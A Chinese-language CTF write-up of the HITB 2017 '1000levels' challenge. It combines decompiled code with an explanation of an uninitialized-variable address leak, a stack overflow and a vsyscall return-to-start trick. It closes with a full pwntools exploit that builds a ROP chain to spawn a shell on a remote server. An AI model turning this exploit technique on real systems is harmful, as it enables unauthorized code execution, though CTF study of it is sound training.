HITB CTF 2017 1000levels writeup
简介
本题是HITB CTF一开始就放出来的题,赛后根据bluecake@DUBHE的exp重新调了一下,特有此writeup。
题目
本题是x86_64的ELF程序,开启了NX和PIE。
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2
init();
banner();
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_num();
if ( v3 != 2 )
break;
hint();
}
if ( v3 == 3 )
break;
if ( v3 == 1 )
go();
else
puts("Wrong input");
}
give_up();
return 0;
}
print_menu函数
int print_menu(void)
{
puts("1. Go");
puts("2. Hint");
puts("3. Give up");
return puts("Choice:");
}
hint函数
在hint函数中,根据反汇编的代码,会将system addr 保存在rbp-0x110中。那么,在hint函数结束后,main函数中的其它函数调用时,rbp-0x110处若未初始化,那么就可以获取到system的值。
int hint(void)
{
signed __int64 v1; // [sp+8h] [bp-108h]@2
signed int v2; // [sp+10h] [bp-100h]@3
signed __int16 v3; // [sp+14h] [bp-FCh]@3
if ( show_hint )
{
sprintf((char *)&v1, "Hint: %p\n", &system, &system);
}
else
{
v1 = 5629585671126536014LL;
v2 = 1430659151;
v3 = 78;
}
return puts((const char *)&v1);
}
GO函数
read两次,最终结果保存在v6中,根据v6的值来决定level的次数。题外话,题目中人如果出现很奇怪的逻辑,那么很可能就会是出现漏洞的地方。这里,如果v2>0不成立,那么就造成了v5的未初始化,v5为rbp-0x110。如果先调用hint再调用go,并且v2>=0不成立,那么就v5中就保存了system的地址。第二次read时,控制v3的值导致在对v6判断时,泄漏system的地址。
假设system地址为0x7ffff7a52390,由于开启了PIE,在加载到内存中的地址会变化,范围在0x7xxxxxxxx390。控制v5为-temp。temp在范围0x7xxxxxxxx390中从大到小变化,每次猜测x的其中一位。如果temp>system,则v6<0,输出Coward。当不输出Coward时,则代表该位猜测正确。
问题是在猜测其中一位正确后,程序进入level函数,计算完成后程序退出,因此只猜中了其中一位。
int go(void)
{
int v1; // ST0C_4@10
__int64 v2; // [sp+0h] [bp-120h]@1
__int64 v3; // [sp+0h] [bp-120h]@4
int v4; // [sp+8h] [bp-118h]@9
__int64 v5; // [sp+10h] [bp-110h]@0
signed __int64 v6; // [sp+10h] [bp-110h]@4
signed __int64 v7; // [sp+18h] [bp-108h]@7
__int64 v8; // [sp+20h] [bp-100h]@10
puts("How many levels?");
v2 = read_num();
if ( v2 > 0 ) // if v2<0 then v5 not initialized
v5 = v2; // rbp-0x110 if call hint then v5 is system
else
puts("Coward");
puts("Any more?");
v3 = read_num();
v6 = v5 + v3; // this way to set v6 is strange
if ( v6 > 0 )
{
if ( v6 <= 999 )
{
v7 = v6;
}
else
{
puts("More levels than before!");
v7 = 1000LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)level(v7) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward");
}
level函数
在level函数中,存在简单的栈溢出。由于没有canary,因此可以覆盖返回地址。但是由于程序开启了PIE,因此无法准确的溢出到某个具体的.text段中的地址。
查看一下read函数调用时的context_stack我们发现,在offset为36*0x8的地方,为_start的地址。因此,利用vsyscall中的系统调用来完成滑板操作,滑到_start处,即可重新返回程序一开始,因此可以多次猜测system的其它位数。
level函数中计算表达式的值时,可以溢出v7使得v7为0,同样开始处置0x00,则v2strol后也为0x00,绕过result的判断。当然也可以获取表达式计算一下。
__int64 __fastcall level(signed int a1)
{
__int64 result; // rax@2
__int64 v2; // rax@8
__int64 buf; // [sp+10h] [bp-30h]@1
__int64 v4; // [sp+18h] [bp-28h]@1
__int64 v5; // [sp+20h] [bp-20h]@1
__int64 v6; // [sp+28h] [bp-18h]@1
int v7; // [sp+30h] [bp-10h]@5
int v8; // [sp+34h] [bp-Ch]@5
int v9; // [sp+38h] [bp-8h]@5
int i; // [sp+3Ch] [bp-4h]@5
buf = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
if ( a1 )
{
if ( (unsigned int)level(a1 - 1) == 0 )
{
result = 0LL;
}
else
{
v9 = rand() % a1;
v8 = rand() % a1;
v7 = v8 * v9;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", (unsigned int)v9, (unsigned int)v8);
for ( i = read(0, &buf, 0x400uLL); i & 7; ++i )// buffer overflow!
*((_BYTE *)&buf + i) = 0;
v2 = strtol((const char *)&buf, 0LL, 10);
result = v2 == v7; // buf start with \x00 set v2=0 and overflow set v7 =0
}
}
else
{
result = 1LL;
}
return result;
}
注意泄漏system地址时,获取的地址比真实的system地址小0x1000,才可以使得v6>0,进入1000次level计算,因此实际的system地址需要再加上0x1000。
获得system地址后,构造rop即可再次利用buffer overflow来getshell。
其它
在第1000次发送数据返回程序起始位置时,发现start下面还有main函数的地址,但是利用vsyscall nop到main时发现,猜测system第二位时,start的地址在栈中距离buffer的偏移改变了。因此,回到程序最原始的地方看起来比较靠谱。
在利用vsyscall时,vsyscall中存在多个地址。利用第一个地址来nop会失败,暂时不知道为什么。
0000| 0xffffffffff600000 (mov rax,0x60)
0008| 0xffffffffff600008 (add eax,0xccccccc3)
...
1024| 0xffffffffff600400 (mov rax,0xc9)
1032| 0xffffffffff600408 (add eax,0xccccccc3)
...
2048| 0xffffffffff600800 (mov rax,0x135)
2056| 0xffffffffff600808 (add eax,0xccccccc3)
exp
from pwn import *
import sys,getopt
import time
args = sys.argv[1:]
context(os='linux', arch='amd64')
debug = 1 if '-nd' not in args else 0
proc_name = './1000levels'
local = 1 if '-r' not in args else 0
isattach = local & 1
bps = isattach &1
ip = '47.74.147.103'
port = 20001
io = None
def makeio():
global io
if local:
io = process(proc_name)
else:
io = remote(ip,port)
def ru(data):
return io.recvuntil(data)
def rv():
return io.recv()
def sl(data):
return io.sendline(data)
def sd(data):
return io.send(data)
def rl():
return io.recvline()
def lg(data):
return log.info(data)
def sa(d,data):
return io.sendafter(d,data)
def attach():
if isattach:
if bps:
gdb.attach(pidof(io)[0], open('bps'))
else:
gdb.attach(pidof(io)[0])
def hint():
sa('Choice:\n','2')
def go(levels,more):
sa('Choice:\n','1')
sa('levels?\n',str(levels))
sa('more?\n',str(more))
def level(ans):
sa('Answer:',ans)
def pwn():
makeio()
if debug:
context.log_level = 'debug'
# attach()
leak = 0x700000000390
for i in range(0x8,0x0,-1): # (8,7...,1)
for j in range(0xf,-0x1,-1): # (0xf,0xd...,0x1,0x0)
hint() # set system
temp = leak + j * (1 << (i+2)*4)
go(0,-temp)
result = rl() # dont use recv() beacuse sendlineafter in level
print result
if 'Coward' not in result: break
leak = temp
for k in range(999):
level(p64(0)*5)
log.info('level success')
log.info('Got system:' + hex(leak))
# raw_input('break *0x0000555555554F4D')
level(p64(0xffffffffff600400)*35) # return to start
system_addr = leak + 0x1000
log.info('Got system:'+ hex(system_addr))
libc = ELF('./local.libc.so.6')
system_offset = libc.symbols['system']
libc_addr = system_addr - system_offset
binsh_addr = libc_addr + next(libc.search('/bin/sh\x00'))
poprdi_ret = libc_addr + 0x21102
go(0,1)
payload = p64(poprdi_ret) + p64(binsh_addr) + p64(system_addr)
level('A'*0x30 + 'B'*0x8 + payload)
sl('ls')
io.interactive()
if __name__ == '__main__':
pwn()
总结
- 存在栈溢出,在开启了PIE没有canary时,如果高地址处存在需要的地址,可以利用vsyscall中的指令来nop掉中间的数据。
- 反汇编代码可以帮助我们更准确的理解程序。
- 未初始化漏洞以后需要重点关注一下。
- 程序中存在奇怪的逻辑,往往存在漏洞。